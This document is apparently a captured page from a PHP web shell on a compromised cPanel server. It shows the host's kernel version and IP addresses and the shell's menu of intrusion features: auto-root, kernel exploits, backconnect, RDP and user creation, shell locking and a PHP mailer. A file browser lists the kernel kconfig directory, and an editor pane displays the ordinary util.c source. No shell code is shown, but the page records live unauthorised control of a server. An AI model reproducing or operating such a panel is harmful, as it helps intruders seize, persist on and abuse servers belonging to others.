Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.214.120
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-25 /
scripts /
kconfig /
[ HOME SHELL ]
Name
Size
Permission
Action
lxdialog
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
.gitignore
88
B
-rw-r--r--
Makefile
7.61
KB
-rw-r--r--
conf.c
20.01
KB
-rw-r--r--
confdata.c
22.93
KB
-rw-r--r--
expr.c
30.01
KB
-rw-r--r--
expr.h
9.47
KB
-rw-r--r--
gconf-cfg.sh
733
B
-rwxr-xr-x
gconf.c
38
KB
-rw-r--r--
gconf.glade
25.04
KB
-rw-r--r--
images.c
6.42
KB
-rw-r--r--
images.h
857
B
-rw-r--r--
internal.h
172
B
-rw-r--r--
lexer.l
8.97
KB
-rw-r--r--
list.h
3.66
KB
-rw-r--r--
lkc.h
3.95
KB
-rw-r--r--
lkc_proto.h
1.92
KB
-rw-r--r--
mconf-cfg.sh
1.41
KB
-rwxr-xr-x
mconf.c
27.19
KB
-rw-r--r--
menu.c
21.66
KB
-rw-r--r--
merge_config.sh
4.97
KB
-rwxr-xr-x
nconf-cfg.sh
1.32
KB
-rwxr-xr-x
nconf.c
37.85
KB
-rw-r--r--
nconf.gui.c
14.53
KB
-rw-r--r--
nconf.h
2
KB
-rw-r--r--
parser.y
15.24
KB
-rw-r--r--
preprocess.c
10.99
KB
-rw-r--r--
qconf-cfg.sh
594
B
-rwxr-xr-x
qconf.cc
43.41
KB
-rw-r--r--
qconf.h
6.4
KB
-rw-r--r--
streamline_config.pl
16.43
KB
-rwxr-xr-x
symbol.c
28.6
KB
-rw-r--r--
util.c
2.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : util.c
// SPDX-License-Identifier: GPL-2.0 /* * Copyright (C) 2002-2005 Roman Zippel <zippel@linux-m68k.org> * Copyright (C) 2002-2005 Sam Ravnborg <sam@ravnborg.org> */ #include <stdarg.h> #include <stdlib.h> #include <string.h> #include "lkc.h" /* file already present in list? If not add it */ struct file *file_lookup(const char *name) { struct file *file; for (file = file_list; file; file = file->next) { if (!strcmp(name, file->name)) { return file; } } file = xmalloc(sizeof(*file)); memset(file, 0, sizeof(*file)); file->name = xstrdup(name); file->next = file_list; file_list = file; return file; } /* Allocate initial growable string */ struct gstr str_new(void) { struct gstr gs; gs.s = xmalloc(sizeof(char) * 64); gs.len = 64; gs.max_width = 0; strcpy(gs.s, "\0"); return gs; } /* Free storage for growable string */ void str_free(struct gstr *gs) { if (gs->s) free(gs->s); gs->s = NULL; gs->len = 0; } /* Append to growable string */ void str_append(struct gstr *gs, const char *s) { size_t l; if (s) { l = strlen(gs->s) + strlen(s) + 1; if (l > gs->len) { gs->s = xrealloc(gs->s, l); gs->len = l; } strcat(gs->s, s); } } /* Append printf formatted string to growable string */ void str_printf(struct gstr *gs, const char *fmt, ...) { va_list ap; char s[10000]; /* big enough... */ va_start(ap, fmt); vsnprintf(s, sizeof(s), fmt, ap); str_append(gs, s); va_end(ap); } /* Retrieve value of growable string */ const char *str_get(struct gstr *gs) { return gs->s; } void *xmalloc(size_t size) { void *p = malloc(size); if (p) return p; fprintf(stderr, "Out of memory.\n"); exit(1); } void *xcalloc(size_t nmemb, size_t size) { void *p = calloc(nmemb, size); if (p) return p; fprintf(stderr, "Out of memory.\n"); exit(1); } void *xrealloc(void *p, size_t size) { p = realloc(p, size); if (p) return p; fprintf(stderr, "Out of memory.\n"); exit(1); } char *xstrdup(const char *s) { char *p; p = strdup(s); if (p) return p; fprintf(stderr, "Out of memory.\n"); exit(1); } char *xstrndup(const char *s, size_t n) { char *p; p = strndup(s, n); if (p) return p; fprintf(stderr, "Out of memory.\n"); exit(1); }
Close